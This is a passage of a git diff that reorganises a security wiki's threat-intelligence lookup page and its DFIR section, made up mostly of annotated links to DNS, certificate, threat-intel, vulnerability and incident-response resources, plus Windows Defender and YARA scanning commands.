- -Passive DNS & Historical Data - -* [SecurityTrails](https://securitytrails.com/) - Historical DNS data, WHOIS records, subdomain discovery, and IP history with extensive API. -* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - (Previously RiskIQ/PassiveTotal) - Microsoft's threat intelligence platform providing passive DNS, WHOIS, SSL certificates, and threat intelligence. Community edition available at [community.riskiq.com](https://community.riskiq.com/) -* [Farsight DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - World's largest passive DNS database for historical DNS query analysis. -* [DNSHistory.org](https://dnshistory.org/) - Free historical DNS lookup service showing domain resolution history. -* [WhoisXMLAPI](https://www.whoisxmlapi.com/) - Historical WHOIS data and DNS records with comprehensive API access. -* [ViewDNS.info](https://viewdns.info/) - Free DNS and network tools including historical data and reverse lookups. -* [DNSTrails](https://dnstrails.com/) - Historical DNS data and passive DNS database. - -
- -
- -Certificate Transparency & SSL/TLS Analysis - -* [crt.sh](https://crt.sh/) - Certificate transparency log search engine for discovering certificates and subdomains. -* [Censys Certificates](https://search.censys.io/certificates) - Certificate search with extensive filtering on certificate fields and metadata. -* [SSL Labs Server Test](https://www.ssllabs.com/ssltest/) - Comprehensive SSL/TLS configuration analysis and grading. -* [SSLShopper Tools](https://www.sslshopper.com/ssl-checker.html) - SSL certificate verification and chain analysis tools. -* [Certificate Search](https://certificatesearch.com/) - Multi-source certificate transparency log search. -* [Google Transparency Report](https://transparencyreport.google.com/https/certificates) - Google's certificate transparency search interface. - -
- -
- -Threat Intelligence Platforms & Exchanges - -* [MISP Project](https://www.misp-project.org/) - Open-source threat intelligence platform for sharing, storing, and correlating IoCs. -* [AlienVault OTX](https://otx.alienvault.com/) - Open Threat Exchange for collaborative threat intelligence sharing. -* [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) - Cloud-based threat intelligence sharing platform with extensive threat data. -* [ThreatConnect](https://threatconnect.com/) - Threat intelligence platform with aggregation, analysis, and orchestration capabilities. -* [Anomali Platform](https://www.anomali.com/products) - Threat intelligence platform with automated enrichment and integration (includes ThreatStream functionality). -* [OpenCTI](https://www.opencti.io/) - Open-source cyber threat intelligence platform built on STIX 2.1 standards. -* [ThreatQuotient ThreatQ](https://www.threatquotient.com/) - Threat intelligence platform focused on operationalizing threat data and orchestration. -* [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - Web-based tool for visualizing and analyzing ATT&CK matrices. - -
- -
- -Cryptocurrency & Blockchain Analysis - -* [Blockchain.com Explorer](https://www.blockchain.com/explorer) - Bitcoin blockchain explorer for tracking transactions and addresses. -* [Etherscan](https://etherscan.io/) - Ethereum blockchain explorer with contract analysis and token tracking. -* [BlockCypher](https://live.blockcypher.com/) - Multi-blockchain explorer supporting Bitcoin, Ethereum, Litecoin, and more. -* [BTC.com](https://btc.com/) - Bitcoin blockchain explorer with mining pool statistics. -* [Chainalysis](https://www.chainalysis.com/) - Professional blockchain analysis platform (commercial) for cryptocurrency investigations. -* [Elliptic](https://www.elliptic.co/) - Cryptocurrency compliance and investigation tools (commercial). -* [Crystal Blockchain](https://crystalblockchain.com/) - Cryptocurrency intelligence and compliance platform (Now part of Bitfury). -* [Ransomwhere](https://ransomwhe.re/) - **Note: Service appears inactive/discontinued.** Was an open database tracking ransomware Bitcoin payments. -* [Bitcoin Abuse Database](https://www.bitcoinabusedatabase.com/) - Community-driven database of Bitcoin addresses used in scams and ransomware. - -
- -
- -Specialized Threat Hunting & Vulnerability Data - -* [Shodan Exploits](https://exploits.shodan.io/) - Searchable exploit database integrated with Shodan device data. -* [Vulners](https://vulners.com/) - Comprehensive vulnerability database with exploit correlation and search capabilities. -* [Exploit-DB](https://www.exploit-db.com/) - The Exploit Database - a CVE-compliant archive of public exploits and vulnerable software. -* [VulnCheck](https://vulncheck.com/) - Vulnerability intelligence platform with exploit prediction and threat scoring. -* [CVE Details](https://www.cvedetails.com/) - Searchable CVE database with statistics and vendor information. -* [National Vulnerability Database (NVD)](https://nvd.nist.gov/) - U.S. government repository of standards-based vulnerability data. -* [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - Known Exploited Vulnerabilities catalog maintained by CISA. -* [Packet Storm Security](https://packetstormsecurity.com/) - Information security resource providing exploits, advisories, and tools. +## Passive DNS and Historical Data -
+* [SecurityTrails](https://securitytrails.com/) - Historical DNS, WHOIS, subdomains, and IP history. +* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - Passive DNS, WHOIS, SSL certificates, trackers, and related infrastructure. +* [Farsight DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - Passive DNS database. +* [DNSHistory.org](https://dnshistory.org/) - Historical DNS lookup. +* [WhoisXMLAPI](https://www.whoisxmlapi.com/) - Historical WHOIS and DNS records. +* [ViewDNS.info](https://viewdns.info/) - DNS and network lookup tools. +* [DNSTrails](https://dnstrails.com/) - Historical DNS and passive DNS database. -## Browser Extensions & Quick Lookup Tools +Domain-focused passive investigation workflows live in Domain OSINT. -Browser extensions provide rapid indicator lookups and threat intelligence directly within your browser, streamlining the investigation workflow. - -
- -Browser Extensions - -* [CrowdSec CTI Extension](https://chrome.google.com/webstore/detail/crowdsec-cti/nfhlhlkjnlkdgbkjkhjkngakjfaljbec) - Quick threat intelligence lookups for IPs and URLs from the browser. -* [Sputnik](https://github.com/mitchmoser/sputnik) - Chrome extension for OSINT and threat intelligence with configurable data sources. -* [Gotanda](https://github.com/HASH1da1/Gotanda) - OSINT browser extension for extracting and searching indicators from web pages. -* [ThreatConnect Extension](https://chrome.google.com/webstore/detail/threatconnect/hbghlhcflekehioljloookhpdfjpbcka) - Quick lookups in ThreatConnect platform from selected text. -* [URL Unshortener](https://chrome.google.com/webstore/detail/url-unshortener/gbobhobdgeopnhpommcvdckfhqjknjom) - Reveals true destinations of shortened URLs before clicking. -* [VirusTotal Checker](https://chrome.google.com/webstore/detail/virustotal/efbjojhplkelaegfbieplglfidafgoka) - Quick VirusTotal lookups from browser context menu. - -
+{% content-ref url="osint/domain.md" %} +[domain.md](osint/domain.md) +{% endcontent-ref %} -## API Aggregators & Multi-Tool Platforms +## Certificate Transparency and SSL/TLS Analysis -These platforms aggregate multiple threat intelligence sources and analysis tools, providing centralized analysis and automated enrichment capabilities. +* [crt.sh](https://crt.sh/) - Certificate transparency log search. +* [Censys Certificates](https://search.censys.io/certificates) - Certificate search with filtering. +* [SSL Labs Server Test](https://www.ssllabs.com/ssltest/) - SSL/TLS configuration analysis. +* [SSLShopper SSL Checker](https://www.sslshopper.com/ssl-checker.html) - Certificate verification and chain analysis. +* [Certificate Search](https://certificatesearch.com/) - Multi-source certificate transparency search. +* [Google Certificate Transparency Report](https://transparencyreport.google.com/https/certificates) - Google CT search interface. -
+## Browser Extensions and Quick Lookup Tools -API Aggregators & Platforms +* [CrowdSec CTI Extension](https://chrome.google.com/webstore/detail/crowdsec-cti/nfhlhlkjnlkdgbkjkhjkngakjfaljbec) - Quick IP and URL lookups. +* [Sputnik](https://github.com/mitchmoser/sputnik) - Configurable OSINT and threat intelligence lookup extension. +* [Gotanda](https://github.com/HASH1da1/Gotanda) - OSINT browser extension for extracting and searching indicators. +* [ThreatConnect Extension](https://chrome.google.com/webstore/detail/threatconnect/hbghlhcflekehioljloookhpdfjpbcka) - ThreatConnect lookups from selected text. +* [URL Unshortener](https://chrome.google.com/webstore/detail/url-unshortener/gbobhobdgeopnhpommcvdckfhqjknjom) - Shows destinations of shortened URLs. +* [VirusTotal Checker](https://chrome.google.com/webstore/detail/virustotal/efbjojhplkelaegfbieplglfidafgoka) - Browser context-menu VirusTotal lookups. -* [IntelOwl](https://github.com/intelowlproject/IntelOwl) - Open-source intelligence aggregator that runs multiple analyzers simultaneously on observables. -* [Cortex](https://github.com/TheHive-Project/Cortex) - Observable analysis and active response engine with 100+ analyzers and responders. -* [TheHive](https://thehive-project.org/) - Scalable security incident response platform integrating with Cortex for automated analysis. -* [MISP Modules](https://github.com/MISP/misp-modules) - Expansion modules for MISP providing enrichment, import, and export capabilities. -* [ThreatIngestor](https://github.com/InQuest/ThreatIngestor) - Automated tool for extracting and aggregating threat intelligence from sources. -* [Yeti](https://yeti-platform.github.io/) - Platform for organizing observables, indicators, TTPs, and knowledge on threats. -* [OpenCTI Connectors](https://www.opencti.io/ecosystem) - Extensive connector ecosystem for enriching threat intelligence data. -* [PhishingKitTracker](https://github.com/neonprimetime/PhishingKitTracker) - Automated tracking and analysis of phishing kits. +## Cryptocurrency and Blockchain Analysis -
+* [Blockchain.com Explorer](https://www.blockchain.com/explorer) - Bitcoin explorer. +* [Etherscan](https://etherscan.io/) - Ethereum explorer. +* [BlockCypher](https://live.blockcypher.com/) - Multi-blockchain explorer. +* [BTC.com](https://btc.com/) - Bitcoin explorer and mining pool statistics. +* [Chainalysis](https://www.chainalysis.com/) - Commercial blockchain analysis platform. +* [Elliptic](https://www.elliptic.co/) - Commercial cryptocurrency compliance and investigation tooling. +* [Crystal Blockchain](https://crystalblockchain.com/) - Cryptocurrency intelligence platform. +* [Bitcoin Abuse Database](https://www.bitcoinabusedatabase.com/) - Community reports of scam and ransomware Bitcoin addresses. ## Investigation Tools -Without a SOAR (Security Orchestration, Automation and Response) platform to automate OSINT lookups, security analysts must manually query IoCs across multiple tools to gather comprehensive data. To streamline this process, the following tool enables analysts to open multiple investigation resources simultaneously and pivot directly to their results. - {% hint style="info" %} -**Note**: Some tools require more complex URL structures than simple parameter appending. Additional functionality to support these tools is under development. +Some tools require more complex URL structures than simple parameter appending. Additional functionality may be needed for full automation. {% endhint %} {% file src="../.gitbook/assets/EasyOSINT.html" %} @@ -369,121 +177,67 @@ The interactive version can be found here: {% file src="../.gitbook/assets/Threat Object (1).xmind" %} -## Emerging Techniques & Detection Engineering - -Modern threat hunting and detection engineering require familiarity with standardized detection rules, behavioral signatures, and adversary techniques. These resources provide the foundation for building robust detection capabilities. - -
- -YARA Rules & Signature Hunting - -* [YARAify](https://yaraify.abuse.ch/) - YARA rule search engine and malware hunting platform by abuse.ch. -* [YARA Rules GitHub](https://github.com/Yara-Rules/rules) - Community-maintained repository of YARA rules. **Note: Repository is archived; refer to individual rule authors for updates.** -* [Florian Roth's YARA Rules](https://github.com/Neo23x0/signature-base) - High-quality YARA rules for malware detection. -* [ReversingLabs YARA Rules](https://github.com/reversinglabs/reversinglabs-yara-rules) - Enterprise-grade YARA rules. -* [InQuest YARA Rules](https://github.com/InQuest/yara-rules) - YARA rules focused on files and network artifacts. -* [Awesome YARA](https://github.com/InQuest/awesome-yara) - Curated list of YARA rules, tools, and resources. +## Related Sections -
+* Internet-wide search engines such as Shodan, Censys, FOFA, ZoomEye, BinaryEdge, Onyphe, and FullHunt live in Cyber Search. -
- -Sigma Rules & Detection Engineering - -* [Sigma HQ](https://github.com/SigmaHQ/sigma) - Generic signature format for SIEM systems with extensive rule repository. -* [Sigma Rule Repository](https://github.com/SigmaHQ/sigma/tree/master/rules) - Community-contributed detection rules. -* [SOC Prime Threat Detection Marketplace](https://tdm.socprime.com/) - Curated Sigma rules and detection content. -* [Uncoder.io](https://uncoder.io/) - Online Sigma rule converter for multiple SIEM platforms. -* [pySigma](https://github.com/SigmaHQ/pySigma) - Python library for parsing and converting Sigma rules (Replaces deprecated sigmac). -* [sigma-cli](https://github.com/SigmaHQ/sigma-cli) - Command-line interface for Sigma rule processing. - -
- -
- -MITRE ATT&CK Framework +{% content-ref url="osint/cyber-search.md" %} +[cyber-search.md](osint/cyber-search.md) +{% endcontent-ref %} -* [MITRE ATT&CK](https://attack.mitre.org/) - Globally-accessible knowledge base of adversary tactics and techniques. -* [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - Web-based tool for visualizing ATT&CK matrices. -* [ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) - ATT&CK knowledge base for Industrial Control Systems. -* [MITRE D3FEND](https://d3fend.mitre.org/) - Knowledge graph of cybersecurity countermeasures. -* [MITRE Cyber Analytics Repository (CAR)](https://car.mitre.org/) - Analytics developed by MITRE based on ATT&CK. -* [ATT&CK Powered Suit](https://github.com/SadProcessor/SomeStuff/tree/master/ATT%26CK%20Powered%20Suit) - PowerShell ATT&CK automation. +* YARA rules and malware signature hunting live in DFIR. -
+{% content-ref url="../dfir-digital-forensics-and-incident-response/yara.md" %} +[yara.md](../dfir-digital-forensics-and-incident-response/yara.md) +{% endcontent-ref %} -
+* Sigma rules, MITRE CAR, detection content, and detection engineering live in Event Detection. -Living Off The Land (LOL) Techniques +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -* [LOLBAS](https://lolbas-project.github.io/) - Living Off The Land Binaries and Scripts for Windows. -* [GTFOBins](https://gtfobins.github.io/) - Curated list of Unix binaries that can be exploited for privilege escalation. -* [LOLDrivers](https://www.loldrivers.io/) - Living Off The Land drivers for Windows privilege escalation. -* [LOLAPPS](https://lolapps-project.github.io/) - Living Off The Land macOS applications. -* [WADComs](https://wadcoms.github.io/) - Interactive cheat sheet for Windows/Active Directory security. +* LOLBAS, GTFOBins, LOLDrivers, LOLAPPS, and WADComs are useful for detection and adversary tradecraft context. Keep them with detection engineering or technique-specific pages rather than reputation lookup. -
+{% content-ref url="../blue-defense/event-detection/detection-use-cases/" %} +[detection-use-cases](../blue-defense/event-detection/detection-use-cases/) +{% endcontent-ref %} -
+* Vulnerability databases, CISA KEV, EPSS, SSVC, and CVSS live in Asset and Vulnerability Management. -Threat Intelligence Standards & Frameworks +{% content-ref url="../blue-defense/vulnerability-management.md" %} +[vulnerability-management.md](../blue-defense/vulnerability-management.md) +{% endcontent-ref %} -* [STIX/TAXII](https://oasis-open.github.io/cti-documentation/) - Structured Threat Information Expression (STIX) and Trusted Automated Exchange (TAXII). -* [MISP Standard](https://www.misp-standard.org/) - Standard format for sharing, storing, and correlating IoCs. -* [OpenIOC](https://github.com/fireeye/OpenIOC_1.1) - Open framework for sharing threat intelligence. Original blog reference: [FireEye/Mandiant](https://www.mandiant.com/resources/blog) -* [CybOX](https://cyboxproject.github.io/) - Cyber Observable eXpression specification. **Note: Project is archived; functionality incorporated into STIX 2.x** -* [VERIS Framework](https://verisframework.org/) - Vocabulary for Event Recording and Incident Sharing. [GitHub Repository](https://github.com/vz-risk/veris) -* [Diamond Model](https://www.activeresponse.org/the-diamond-model/) - Framework for analyzing cyber intrusions. -* [Kill Chain Analysis](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) - Lockheed Martin's Cyber Kill Chain framework. +* Exploit archives and offensive exploit research live in Red Offensive. -
+{% content-ref url="../red-offensive/testing-methodology/exploit-research.md" %} +[exploit-research.md](../red-offensive/testing-methodology/exploit-research.md) +{% endcontent-ref %} ## Best Practices for Indicator Analysis -When conducting threat intelligence analysis, follow these best practices: - -1. **Validate Across Multiple Sources**: Never rely on a single reputation source. Cross-reference findings across at least 3-5 different platforms. - -2. **Consider Context**: Age of domain registration, geographic anomalies, associated infrastructure, and historical behavior all provide critical context. - -3. **Document Your Investigation**: Maintain detailed notes of your analysis process, sources consulted, and findings. This creates an audit trail and aids future investigations. - -4. **Leverage Automation**: Use API aggregators and automation tools to streamline repetitive lookups while applying human analysis to the results. - -5. **Stay Current**: Threat landscapes evolve rapidly. Regularly review new threat intelligence sources and update your investigation toolkit. - -6. **Understand False Positives**: Legitimate services, CDNs, and shared hosting can trigger false positives. Always investigate the full context. - -7. **Use Passive Analysis First**: When possible, use passive reconnaissance techniques (passive DNS, certificate transparency) before active scanning to avoid alerting adversaries. - -8. **Enrich with ATT&CK Mapping**: Map observed behaviors to MITRE ATT&CK techniques to understand adversary TTPs and predict next moves. - -9. **Collaborate and Share**: Participate in threat intelligence sharing communities. Your findings can help others, and vice versa. - -10. **Verify Indicators**: Before blocking or alerting on indicators, verify they are truly malicious to avoid disrupting legitimate business operations. - -## Deprecated & Legacy Tools - -The following tools are no longer actively maintained, have been discontinued, or have been superseded by newer platforms. They are listed here for historical reference and in case legacy data sources are needed. - -
- -Deprecated Tools +1. Validate across multiple sources. +2. Preserve context such as ASN, registrar, domain age, passive DNS, certificates, and comments. +3. Document sources consulted and the time of lookup. +4. Use passive analysis first when you do not want to alert adversaries. +5. Treat blocklist absence as unknown, not benign. +6. Verify indicators before blocking or alerting on them. -* **ThreatCrowd** - Deprecated. Data migrated to AlienVault OTX. The original service at threatcrowd.org is no longer actively maintained. -* **Digital Attack Map** - Discontinued by Arbor Networks/NetScout. No longer accessible. -* **Malware Domain List (MDL)** - No longer actively maintained. Last updates were several years ago. -* **Sigmac** - Deprecated Sigma rule converter. Replaced by pySigma and sigma-cli. -* **CybOX (Cyber Observable eXpression)** - Legacy specification largely superseded by STIX 2.x observables. Project is archived. -* **Ransomwhere** - Bitcoin ransomware tracker that appears to be inactive/discontinued. -* **YARA Rules GitHub (Yara-Rules/rules)** - Repository is archived. Use individual maintainer repositories instead. +## Deprecated and Legacy Tools -
+* **ThreatCrowd** - Deprecated. Data migrated to AlienVault OTX; original service is no longer maintained. +* **Digital Attack Map** - Discontinued by Arbor Networks/NETSCOUT. +* **Malware Domain List (MDL)** - No longer actively maintained. +* **Ransomwhere** - Bitcoin ransomware tracker that appears inactive. +* **CybOX** - Legacy observable specification largely superseded by STIX 2.x observables. +* **Sigmac** - Deprecated Sigma converter; pySigma and sigma-cli replaced it. +* **YARA-Rules/rules** - Archived community YARA rules repository. ## Tool Accuracy Notes -- **Blacklist counts**: The number of sources checked by multi-source reputation tools may vary over time as providers are added or removed. -- **API availability**: Some free tools have rate limits or require registration for API access. -- **Browser extensions**: Chrome Web Store links may change; search by extension name if links are outdated. -- **Historical data retention**: Passive DNS and historical lookup tools vary in their data retention periods. -- **Sandbox detection**: Advanced malware may detect sandbox environments and alter behavior. +* Blacklist source counts change frequently, so this page avoids hard-coding source counts. +* Free APIs often have rate limits or require registration. +* Browser extension links can change; search by extension name if a store link breaks. +* Passive DNS retention varies by provider. +* Advanced malware may detect sandbox environments and alter behavior. diff --git a/dfir-digital-forensics-and-incident-response/README.md b/dfir-digital-forensics-and-incident-response/README.md index c20ea48..0ac4c86 100644 --- a/dfir-digital-forensics-and-incident-response/README.md +++ b/dfir-digital-forensics-and-incident-response/README.md @@ -1,154 +1,102 @@ -# Blue - DFIR: Digital Forensics and Incident Response +--- +description: DFIR resources for incident response, forensic triage, Windows and Linux commands, memory forensics, malware analysis, and evidence collection. +--- -DFIR: Digital Forensics and Incident Response is a hugely important sector of cyber security, where your everyday security analysis is taken to the next level. While most security analysts will work out of a SIEM or SOAR platform, Incident Responders and Forensic analysts typically work directly with a potentially compromised device. With this, they are required to not only be familiar with a larger array of tools for analysis, but also a much stricter set of process and procedures as their actions are often subject to legal requirements. +# Blue - DFIR: Digital Forensics and Incident Response -## **DFIR Resource Collections** +DFIR focuses on evidence, timelines, containment, eradication, and recovery after suspicious activity or a confirmed compromise. This section is for hands-on incident response and forensic analysis: remote triage, host commands, event logs, evidence collection, memory forensics, sandboxing, file analysis, malware analysis, and reverse engineering. -* [DFIR Compendium ](https://aboutdfir.com/)- The Definitive Compendium Project Digital Forensics & Incident Response -* [Infosec Reference: DFIR](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/DFIR.md) - Massive collection of DFIR guides, articles, and tools -* [https://start.me/p/jj0B26/dfir](https://start.me/p/jj0B26/dfir) - Collection of more DFIR resources -* [https://www.jaiminton.com/cheatsheet/DFIR/](https://www.jaiminton.com/cheatsheet/DFIR/) - Huge collection of DFIR commands and methodology -* Training - * [DFIR Training](https://www.dfir.training/) - Tools, resources, and training classes for DFIR professionals - * [https://dfirmadness.com/](https://dfirmadness.com/) - Collection of training use cases to hone your DFIR skills +For detection engineering, SIEM rules, and Sysmon configuration, use Event Detection. For reputation and enrichment lookups, use Threat Data. -## **Incident Response** +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -{% tabs %} -{% tab title="Guides and Resources" %} -* [Awesome Lists Collection: Incident Response](https://github.com/meirwah/awesome-incident-response) -* [ATC React](https://atc-project.github.io/atc-react/) - The RE\&CT Framework is designed for accumulating, describing and categorizing actionable Incident Response techniques. It can be used for prioritization of Incident Response capabilities development, including skills development, technical measures acquisition/deployment, internal procedures development, etc, as well as gap analysis to determine "coverage" of existing Incident Response capabilities. - * [https://github.com/atc-project/atc-react](https://github.com/atc-project/atc-react) - * [https://github.com/atc-project/atc-data](https://github.com/atc-project/atc-data) -* [https://github.com/certsocietegenerale/IRM](https://github.com/certsocietegenerale/IRM) - CERT Societe Generale Incident Response Methodologies 2022 -* [SANS Incident Handlers Handbook](https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901) -* [Exabeam Incident Response Guide](https://www.exabeam.com/incident-response/steps/) -* [NIST 61 R2 - ](./#tools-and-frameworks)[Computer Security Incident Handling Guide](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) -* [https://zeltser.com/ddos-incident-cheat-sheet/](https://zeltser.com/ddos-incident-cheat-sheet/) -* [https://gitlab.com/syntax-ir/playbooks#ir-playbooks](https://gitlab.com/syntax-ir/playbooks#ir-playbooks) - Public IR playbooks -* [https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks](https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks) - * [Azure-AD-Incident-Response-PowerShell-Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) - * [https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/](https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/) -* _BTFM: Incident Response checklist - pg. 109_ -* _BTFM: Remediation Tasks - pg. 112_ -* _(BTHb: INRE): Incident Response Steps - pg. 5_ -{% endtab %} - -{% tab title="IR Report Writing" %} -* [https://github.com/cyb3rfox/Aurora-Incident-Response](https://github.com/cyb3rfox/Aurora-Incident-Response) - Incident Response Documentation made easy. Developed by Incident Responders for Incident Responders -* [PagerDuty Incident Response processes and document templates](https://response.pagerduty.com/) -* [Zeltser Incident Survey CheatSheet](https://zeltser.com/security-incident-survey-cheat-sheet/) -* [https://zeltser.com/cyber-threat-intel-and-ir-report-template/](https://zeltser.com/cyber-threat-intel-and-ir-report-template/) -* _(BTHb: INRE): Incident Response Template - pg. 24_ -{% endtab %} - -{% tab title="Misc" %} -* DNSDB for Incident Response - [https://info.farsightsecurity.com/passive-dns-incident-response-ebook](https://info.farsightsecurity.com/passive-dns-incident-response-ebook) -* [Let's Defend: Build your own IR tool guide ](https://letsdefend.io/blog/build-your-own-simple-data-collection-tool-from-endpoint/) -* [https://training.fema.gov/is/courseoverview.aspx?code=IS-100.c](https://training.fema.gov/is/courseoverview.aspx?code=IS-100.c) - Introduction to the Incident Command System, introduces the Incident Command System (ICS) and provides the foundation for higher level ICS training. -* [Incident Response in a Microsoft cloud environment](https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/) - - -{% endtab %} - -{% tab title="Training" %} -* [Incident Response Challenge](https://incident-response-challenge.com/?utm_source=thn) - IR CTF Style Training Scenarios - - -{% endtab %} -{% endtabs %} - -### IR/Malware Scanners - -{% tabs %} -{% tab title="Frameworks/Collections" %} -* [Kansa (Powershell)](https://github.com/davehull/kansa) - A modular incident response framework in Powershell. It uses Powershell Remoting to run user contributed modules across hosts in an enterprise to collect data for use during incident response, breach hunts, or for building an environmental baseline. -* [Windows Forensic Toolchest](https://www.foolmoon.net/security/wft/) - The Windows Forensic Toolchest™ (WFT) is designed to provide a structured and repeatable automated Live Forensic Response, Incident Response, or Audit on a Windows system while collecting security-relevant information from the system. -* [Velociraptor](https://github.com/Velocidex/velociraptor) - A tool for collecting host based state information. - * [Velociraptor Deep Dive Video training](https://www.youtube.com/watch?app=desktop&v=PiYPLEjYXnw) -* [Meerkat](https://github.com/TonyPhipps/Meerkat) - Meerkat is collection of PowerShell modules designed for artifact gathering and reconnaissance of Windows-based endpoints without requiring a pre-deployed agent. -* [https://www.cadosecurity.com/cado-community-edition/](https://www.cadosecurity.com/cado-community-edition/) - The Cado Community Edition leverages the scale and speed of the cloud to simplify deep-dive investigations. With the free community edition, data can be processed in minutes compared to days when using traditional methods. Stop wasting time, money, or effort. Achieve forensic-level detail without forensic-level effort. Only Cado empowers the security community to investigate and respond at cloud speed. -{% endtab %} - -{% tab title="Malware/AV Scanners" %} -* [MalwareBytes IR Scanner](https://www.malwarebytes.com/business/incident-response) - * [https://www.malwarebytes.com/pdf/datasheets/mbirdatasheet.pdf](https://www.malwarebytes.com/pdf/datasheets/mbirdatasheet.pdf) -* [ClamAV](https://www.clamav.net/downloads) - ClamAV is an open source antivirus engine for detecting trojans, viruses, malware & other malicious threats. Can be used with a USB for portable scanning of devices. -* [Microsoft Safety Scanner ](https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download)- Microsoft Safety Scanner is a scan tool designed to find and remove malware from Windows computers. Simply download it and run a scan to find malware and try to reverse changes made by identified threats. -* [hashlookup-forensic-analyser](https://github.com/hashlookup/hashlookup-forensic-analyser) - Analyse a forensic target (such as a directory) to find and report files found and not found from CIRCL hashlookup public service - [https://circl.lu/services/hashlookup/](https://circl.lu/services/hashlookup/) -* [https://www.herdprotect.com/](https://www.herdprotect.com/) - herdProtect is a second line of defense malware scanning platform powered by [68 anti-malware engines](https://www.herdprotect.com/engines.aspx) in the cloud. Since no single anti-malware program is perfect 100% of the time, herdProtect utilizes a 'herd' of multiple engines to guarantee the widest coverage and the earliest possible detection. As a second line of defense anti-malware solution, herdProtect is designed to run with any existing anti-virus program already installed on a user's PC. herdProtect is a free service to help users find and remove malicious software. - * [https://www.herdprotect.com/knowledgebase.aspx](https://www.herdprotect.com/knowledgebase.aspx) -* Windows Defender Scan - - ``` - "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 1 - "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 2 - "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File C:\Users\[username]\AppData\Local\Temp - ``` - - Note: Types are as follows - - * 1: Quick scan - * 2: Full system scan - * 3: File and directory custom scan - - #### Check Windows Defender for excluded files and default actions - - ``` - reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s - Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions' - Get-MpPreference | Select Exclusion* - Get-MpPreference | Select *DefaultAction - ``` -* [CobaltStrikeScan](https://github.com/Apr4h/CobaltStrikeScan) - Scan files or process memory for CobaltStrike beacons and parse their configuration. -* [pe-sieve](https://github.com/hasherezade/pe-sieve) - Scans a given process. Recognizes and dumps a variety of potentially malicious implants (replaced/injected PEs, shellcodes, hooks, in-memory patches). - * [https://hshrzd.wordpress.com/pe-sieve/](https://hshrzd.wordpress.com/pe-sieve/) -{% endtab %} - -{% tab title="Yara Scanners" %} -{% content-ref url="yara.md" %} -[yara.md](yara.md) +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) {% endcontent-ref %} -* [Yara](https://github.com/virustotal/yara/releases/latest) +## DFIR Resource Collections -``` -yara32.exe -d filename=[file defined in ruleset.yar] [ruleset.yar] [file to scan] -yara32.exe -d filename=[svchost.exe] [ruleset.yar] -r [directory to scan] -yara64.exe yararule.yar -r C: -yara64.exe yararule.yar -r C: -f 2> $null -``` +* [DFIR Compendium](https://aboutdfir.com/) - Broad DFIR tool and reference collection. +* [Infosec Reference: DFIR](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/DFIR.md) - Large collection of DFIR guides, articles, and tools. +* [DFIR start.me](https://start.me/p/jj0B26/dfir) - Curated DFIR bookmark collection. +* [Jaiminton DFIR Cheatsheet](https://www.jaiminton.com/cheatsheet/DFIR/) - DFIR commands and methodology. +* [Awesome Incident Response](https://github.com/meirwah/awesome-incident-response) +* [Awesome Forensics](https://github.com/Cugu/awesome-forensics) +* [Awesome KAPE](https://github.com/AndrewRathbun/Awesome-KAPE) +* [Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) -* Yara Linux - * Note: -s shows matching yara strings. +Training, CTFs, labs, and course links have moved to Training. -``` -yara rule.yara malware.exe -s -yara rule.yara [Directory] -s -``` +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} -* [https://www.nextron-systems.com/thor/](https://www.nextron-systems.com/thor/) - IR scanner with more than 12,000 handcrafted YARA signatures, 400 Sigma rules, numerous anomaly detection rules and thousands of IOCs. - * [Loki Scanner](https://github.com/Neo23x0/Loki) - The free and open IOC scanner using YARA rules. - * [Fenrir](https://github.com/Neo23x0/Fenrir) - Fenrir is a simple IOC scanner bash script. It allows scanning Linux/Unix/OSX systems for Indicators of Compromise (IOCs). -* [Binalyze IREC Tactical ](https://www.binalyze.com/tactical)- Standalone evidence collector for traditional DFIR situations. Can scan target with set YARA rules +## Incident Response Process +* [RE&CT Framework](https://atc-project.github.io/atc-react/) - Actionable incident response techniques and capability mapping. + * [atc-react GitHub](https://github.com/atc-project/atc-react) + * [atc-data GitHub](https://github.com/atc-project/atc-data) +* [CERT Société Générale IRM](https://github.com/certsocietegenerale/IRM) - Public incident response methodologies. +* [SANS Incident Handler's Handbook](https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901) +* [SANS Incident Response Process](https://www.sans.org/posters/incident-response-cycle/) - Preparation, identification, containment, eradication, recovery, and lessons learned. +* [NIST SP 800-61 Rev. 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) - Computer Security Incident Handling Guide. +* [Exabeam Incident Response Guide](https://www.exabeam.com/incident-response/steps/) +* [Zeltser DDoS 